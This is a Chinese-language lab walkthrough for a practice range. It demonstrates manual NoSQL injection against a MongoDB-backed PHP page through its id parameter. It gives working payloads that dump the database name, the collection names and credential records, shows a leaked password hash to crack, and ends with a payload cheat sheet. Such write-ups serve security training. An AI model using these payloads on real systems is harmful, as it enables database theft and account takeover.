墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)
一、SQL手工注入漏洞测试(MongoDB数据库)
本文以墨者学院靶场为例,演示MongoDB数据库的手工SQL注入全过程。靶场以自己的地址为准:http://124.70.71.251:42286/new_list.php?id=1
二、注入原理说明
MongoDB作为NoSQL数据库,其注入方式与传统SQL注入不同。攻击主要利用:
- JSON/BSON语法闭合
- JavaScript代码执行
- 查询结果强制返回
三、注入步骤详解(如下指令去掉了id之前的内容)
1. 查询回显位置
id=1'});return ({'title':'1','content':'2
- 攻击手法:
'}
闭合原始查询的JSON结构);
终止当前语句return
构造新文档强制返回
- 作用:确认页面显示
title
和content
字段的位置
2. 查询数据库名称
id=1'});return ({'title':tojson(db),'content':'2
- 关键函数:
db
:当前数据库对象tojson()
:将MongoDB对象转为JSON字符串
- 输出示例:
mozhe_cms_Authority
3. 查询表名称(集合列表)
id=1'});return ({'title':tojson(db.getCollectionNames()),'content':'2
- 核心方法:
getCollectionNames()
:返回所有集合名称数组
- 典型结果:
[ "Authority_confidential", "notice", "system.indexes" ]
4. 查询字段结构
id=1'});return ({'title':tojson(db.Authority_confidential.find()[0]),'content':'2
修改find()[1]值查询其他账号:
id=1'});return ({'title':tojson(db.Authority_confidential.find()[1]),'content':'2
- 技术要点:
Authority_confidential
:目标集合名find()[0]
:获取集合第一条记录find()[1]
:获取集合第二条记录
- 泄露内容:
{"_id": ObjectId("6885d4f44abcd62e71223bc5"),"name": "mozhe","password": "a83cd5ad5ed3e1c5597441aaab289f5c","status": "0" }
5. MD5解密后,手动登录,获取Key
MD5工具地址:https://www.cmd5.com/
四、关键指令速查表
指令/函数 | 作用 | 示例输出 |
---|---|---|
'}) | 闭合原始查询 | 终止当前JSON结构 |
return | 控制返回数据 | 构造恶意输出 |
tojson() | 对象序列化 | 转为可读JSON |
db | 当前数据库对象 | 包含连接信息 |
getCollectionNames() | 获取所有集合 | [“coll1”,“coll2”] |
find()[0] | 获取首条记录 | 完整文档结构 |